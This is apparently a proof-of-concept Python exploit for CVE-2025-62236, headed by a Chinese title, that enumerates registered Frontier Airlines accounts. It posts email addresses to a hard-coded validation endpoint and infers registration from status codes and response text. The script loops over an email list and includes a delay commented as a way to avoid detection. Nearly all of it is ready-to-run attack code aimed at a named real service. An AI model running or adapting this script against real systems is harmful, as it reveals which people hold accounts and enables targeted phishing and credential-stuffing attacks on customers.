CVE-2025-62236 Frontier Airlines网站用户枚举漏洞

import requests import json import time # CVE-2025-62236 PoC - User Enumeration on Frontier Airlines # Target: Frontier Airlines website email validation endpoint # Vulnerability: Unauthenticated email enumeration via public endpoint def check_email_exists(email): """ Check if an email address is registered on Frontier Airlines Returns True if email exists, False otherwise """ target_url = "https://www.frontier.com/api/account/validate-email" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json', 'Accept': 'application/json' } payload = { 'email': email } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) # Analyze response to determine if email exists # Typical indicators: different status codes, messages, or response times if response.status_code == 200: data = response.json() if data.get('exists') == True or data.get('isRegistered') == True: return True elif response.status_code == 404: return False # Check for error message patterns response_text = response.text.lower() if 'already exists' in response_text or 'is registered' in response_text: return True elif 'not found' in response_text or 'does not exist' in response_text: return False return None except requests.exceptions.RequestException as e: print(f"[!] Error checking {email}: {e}") return None def enumerate_emails(email_list): """ Enumerate a list of email addresses """ results = {'valid': [], 'invalid': [], 'unknown': []} for email in email_list: print(f"[*] Checking: {email}") result = check_email_exists(email) if result == True: results['valid'].append(email) print(f"[+] Email exists: {email}") elif result == False: results['invalid'].append(email) print(f"[-] Email not found: {email}") else: results['unknown'].append(email) print(f"[?] Unknown status: {email}") # Rate limiting to avoid detection time.sleep(1) return results if __name__ == "__main__": # Example email list for testing test_emails = [ '[email protected]', '[email protected]', '[email protected]' ] print("=" * 60) print("CVE-2025-62236 PoC - Frontier Airlines User Enumeration") print("=" * 60) results = enumerate_emails(test_emails) print("\n" + "=" * 60) print("Enumeration Results:") print(f"Valid emails found: {len(results['valid'])}") print(f"Invalid emails: {len(results['invalid'])}") print(f"Unknown status: {len(results['unknown'])}") print("=" * 60) if results['valid']: print("\nValid email addresses:") for email in results['valid']: print(f" - {email}")